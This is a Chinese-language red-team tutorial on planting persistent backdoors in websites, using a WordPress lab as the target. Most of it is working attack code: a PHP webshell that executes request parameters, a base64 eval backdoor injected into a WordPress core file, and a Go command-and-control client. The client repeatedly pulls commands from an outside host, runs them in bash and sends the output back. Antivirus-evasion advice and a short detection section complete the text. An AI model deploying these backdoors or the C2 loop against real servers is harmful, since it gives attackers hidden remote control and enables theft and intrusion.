0x01 技术底层解析:隐藏在明处的后门
在攻击链条中,植入后门是一项至关重要的任务。后门(Backdoor)可以让攻击者在目标环境中维持持久访问权限,同时隐匿存在以避免被发现。后门可以以多种形式存在,比如修改网站源码、DLL注入、内存驻留型后门等。这篇文章将聚焦于网站类后门的植入技术。
网站后门一般是通过注入恶意代码的方式实现,常见的攻击点包括:
- 文件上传漏洞:通过上传可执行的恶意代码文件(如
.php、.jsp)到目标服务器。 - 代码注入漏洞:植入恶意代码到现有的网页文件中。
- 第三方组件劫持:在使用的第三方插件、主题中加入后门。
- 数据库后门:通过注入恶意 SQL 数据,实现动态生成恶意页面。
- WebShell隐匿:利用经典或自定义 WebShell 实现后门功能,同时进行免杀处理。
后门的核心功能包括:
- 远程执行命令:允许攻击者通过 C2 接收并执行命令。
- 文件管理:上传、下载和读取目标服务器文件。
- 权限维持:在服务器重启、清理等情况下依然存活。
- 流量伪装:通过正常的 HTTP 请求封装恶意流量。
接下来,我们将介绍具体的环境搭建、后门植入方法以及免杀技巧。
---
0x02 环境准备:打造真实的靶场

在测试网站后门植入技术时,环境的搭建至关重要。这里我们以一个基于 PHP 的 CMS 网站(WordPress)作为目标,并搭建一个红队常用的渗透测试环境。
环境组成
- 目标靶机:运行 WordPress 的 LAMP 环境(Linux + Apache + MySQL + PHP)。
- 攻击机:配置 Kali Linux 或 Parrot OS 作为渗透测试主机,安装必要的工具。
- C2 控制端:使用 Sliver 或自定义的 Go 编写的 C2 服务搭建控制端。
- 网络环境:搭建 NAT 网络,模拟真实的攻击环境。

靶机搭建步骤
部署 WordPress
- 下载 WordPress 最新版:
- 配置 Apache 虚拟主机:
- 启用站点并重启 Apache:
<pre><code class="language-bash"> wget https://wordpress.org/latest.zip unzip latest.zip mv wordpress /var/www/html/ chown -R www-data:www-data /var/www/html/wordpress `
`bash nano /etc/apache2/sites-available/wordpress.conf ` 添加以下内容: ` <VirtualHost *:80> ServerAdmin [email protected] DocumentRoot /var/www/html/wordpress ServerName wordpress.local ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> `
`bash a2ensite wordpress systemctl restart apache2 `
配置数据库</code></pre>bash
mysql -u root -p CREATE DATABASE wordpress_db; CREATE USER 'wordpress_user'@'localhost' IDENTIFIED BY 'strongpassword'; GRANT ALL PRIVILEGES ON wordpress_db.* TO 'wordpress_user'@'localhost'; FLUSH PRIVILEGES; <pre><code> 完成后,访问 http://wordpress.local 即可初始化安装 WordPress。
---
0x03 后门种植的武器库
方法一:文件上传漏洞植入 WebShell
文件上传漏洞是最常见的后门植入方式之一。以下是完整的攻击流程。
1. 检测上传漏洞
通过源代码分析或 Burp Suite 测试,寻找文件上传功能是否对文件类型、大小或内容校验不严格。
2. 上传经典 WebShell
常见的 PHP WebShell 代码如下:</code></pre>php <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; } ?> <pre><code>将其保存为 shell.php 并上传到漏洞页面。
3. 访问后门
上传成功后,通过浏览器访问。例如:</code></pre> http://wordpress.local/uploads/shell.php?cmd=ls <pre><code>即可执行命令。
方法二:代码注入创建后门
通过注入恶意代码到现有的 PHP 文件中,可以伪装得更加高效。以下是代码注入的伪装方法。

1. 修改 WordPress Header 文件
在 /var/www/html/wordpress/wp-includes/template.php 中,添加以下代码:</code></pre>php if(isset($_GET['backdoor'])){ eval(base64_decode($_GET['backdoor'])); } <pre><code>这个后门通过解码 Base64 字符串并执行代码,减少被发现的可能性。
2. 调用后门
发起如下请求即可隐匿式执行命令:</code></pre> http://wordpress.local/wp-includes/template.php?backdoor=ZWNobyAiSGFja2VkISI7 <pre><code>其中 ZWNobyAiSGFja2VkISI7 是 echo "Hacked!"; 的 Base64 编码。

---
0x04 免杀与对抗:让后门更隐蔽
编写自定义伪装后门
为了减小被安全工具检测的风险,可以利用更复杂的加密和流量伪装技术。以下是一个用 Go 编写的自定义 C2 客户端后门。
后门客户端代码</code></pre>go
package main
import ( "bytes" "encoding/base64" "net/http" "os/exec" )
func main() { for { // 从 C2 服务器获取命令 resp, _ := http.Get("http://c2.example.com/command") buf := new(bytes.Buffer) buf.ReadFrom(resp.Body) command, _ := base64.StdEncoding.DecodeString(buf.String())
// 执行命令并返回结果 cmd := exec.Command("bash", "-c", string(command)) output, _ := cmd.Output() http.Post("http://c2.example.com/result", "text/plain", bytes.NewBuffer(output)) } } ` 将代码编译为二进制后,上传到目标机器并运行,即可建立持久的 C2 控制。
---
0x05 检测与清理:从防御者视角反向分析
虽然攻击者的目标是隐匿存在,但防御方总能找到蛛丝马迹。以下是一些检测和清理后门的方法:
- 基线文件比对:通过与原始文件的 SHA256 哈希值比对,检测篡改后的文件。
- 流量监控与分析:通过监控 HTTP 请求,分析异常的传输模式和特征流量。
- 代码审计工具:使用 PhpMalDetect 等工具扫描网站代码中的可疑片段。
---
0x06 经验之谈:攻防对抗的精髓
在多年的红队生涯中,网站后门往往是攻防交锋的焦点。攻击者的技术手段越隐蔽,防守方的检测难度就越高。然而,想要在攻防中立于不败之地,红队需要不断提高自己的武器化能力,灵活应对目标环境的变化。
记住,真正的红队专家不会依赖现成脚本,而是根据目标量身定制攻击方式。这才是打破边界的核心能力。